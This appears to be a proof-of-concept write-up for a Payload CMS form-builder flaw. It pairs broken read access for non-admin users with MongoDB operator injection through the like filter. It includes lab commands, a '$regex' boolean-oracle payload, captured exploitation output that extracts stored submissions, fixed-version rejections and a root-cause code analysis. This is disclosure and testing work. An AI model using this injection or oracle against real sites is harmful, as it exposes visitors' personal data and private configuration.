
POC for CVE-2026-105857 - form-builder access collapse and raw MongoDB query injection in Payload CMS: non-admin reads all form submissions, boolean oracle extracts stored secrets, email config exposed. Vulnerable 3.89.0 vs fixed 3.90.0 control included.
The form-builder plugin ships every Payload site that renders a public contact
or checkout form, and it generates its collections with an access model that
trusts any logged-in user: read: ({ req: { user } }) => !!user. Any account
in ANY auth collection (site members, customers, tenants - not just the admin
collection) can read every stored form submission: names, emails, phone
numbers, whatever visitors type into public forms, plus the private email
routing configuration (emails field: internal inboxes, reply-to addresses)
of every published form. On top of that, Payload 3.89.0 query validation
accepts plain-object values for the like/not_like/contains operators,
and the MongoDB adapter splices such objects into the query as raw predicate
documents - so the same low-privilege account gets an attacker-controlled
query oracle over the submissions collection ({"$regex": ...} boolean
oracle, $ne, $not, arbitrary predicates). Payload 3.90.0 restricts both
reads to the admin collection and rejects raw operator documents with 400;
public form submission itself is unaffected by the fix.
@payloadcms/plugin-form-builder < 3.90.0 (all versions through
3.89.0, tested 3.89.0) and >= 4.0.0-canary.0, < 4.0.0-canary.34@payloadcms/plugin-form-builder with at least one published
form (the normal setup for this plugin - it has no other use).create: () => true so anonymous visitors can submit (that is the point of
a public form, and it still works after the fix - verified, 201).customers member, the standard multi-user
setup for member-gated sites). The advisory scores the issue PR:N; on the
MongoDB stack reproduced here the read/injection stages require such a
login, which is strictly less than admin. Judge your exposure accordingly.Bring up the lab (one vulnerable target on :3000, one fixed control on :3001,
shared MongoDB - first build runs next build twice, ~5 minutes):
docker compose up --build -d
docker compose ps
Seed data (admin, one site member, a published contact form with email routing, one stored visitor submission) is created automatically on first boot of each app.
Run the PoC against the vulnerable target, then against the control:
python3 poc.py --url http://127.0.0.1:3000 --mode vuln
python3 poc.py --url http://127.0.0.1:3001 --mode control
--url is the lab base URL. --mode vuln expects every attack stage to
succeed and exits 0 only when it does; --mode control expects the 3.90.0
rejections. --email/--password are the low-privilege lab account
([email protected] / M3mber-lab-pass). --secret is the string the oracle
extracts char-by-char from a stored submission.
Vulnerable target (payload 3.89.0 / plugin-form-builder 3.89.0):
[*] 4. read ALL form submissions with the non-admin account
[+] GET /api/form-submissions -> HTTP 200, totalDocs=3
submission 6af83895...: name='poc-hchokf' email='[email protected]'
[*] 5. raw MongoDB operator document injection via like -> boolean oracle
[+] like={'$regex': 'please'} -> HTTP 200, totalDocs=1
[*] 6. extract stored secret char-by-char through the oracle
[+] extracted: 'Please call me back about my order.'
[*] 7. sensitive form email configuration exposed to the same account
[+] GET /api/forms emails field -> [{"emailTo": "[email protected]", ...
[+] RESULT: target behaves as expected for --mode vuln
Fixed control (payload 3.90.0 / plugin-form-builder 3.90.0), same requests:
[*] 4. read ALL form submissions with the non-admin account
[-] GET /api/form-submissions -> HTTP 403
blocked: read denied for non-admin-collection user (3.90.0 access fix)
[*] 5. raw MongoDB operator document injection via like -> boolean oracle
[-] like={'$regex': 'please'} -> HTTP 403
blocked: plain-object operator values are rejected on 3.90.0
[*] 7. sensitive form email configuration exposed to the same account
[-] GET /api/forms emails field -> []
blocked: emails field restricted to the admin collection (3.90.0)
[+] RESULT: target behaves as expected for --mode control
Raw captures: evidence/ (PoC runs with exit codes, full HTTP request/response
pairs for the read, the TRUE/FALSE oracle probes and the email-config leak,
the control rejections, and the relevant application log lines).
Two defects in the same release window combine; 3.90.0 fixes both.
Access model. packages/plugin-form-builder/src/collections/FormSubmissions/index.ts
generates the collection with a read check that accepts any authenticated
user regardless of which collection they belong to:
read: ({ req: { user } }) => !!user, // logged-in users
The same check guards the emails array field on the forms collection
(SMTP routing, internal addresses). The fix compares the user's collection
against the configured admin collection:
read: ({ req }) => req.user?.collection === req.payload.config.admin.user
Submission (create) stays () => true - public forms keep working.
Query validation. Payload REST where filters parse into
{ path: { operator: value } }. For like/not_like the MongoDB adapter
has no entry in its operator map, and the query builder's fall-through
branch returns the operator value unchanged when the mapped mongo operator
is undefined:
if (!operatorKey) {
return { path, value: formattedValue } // raw object lands here
}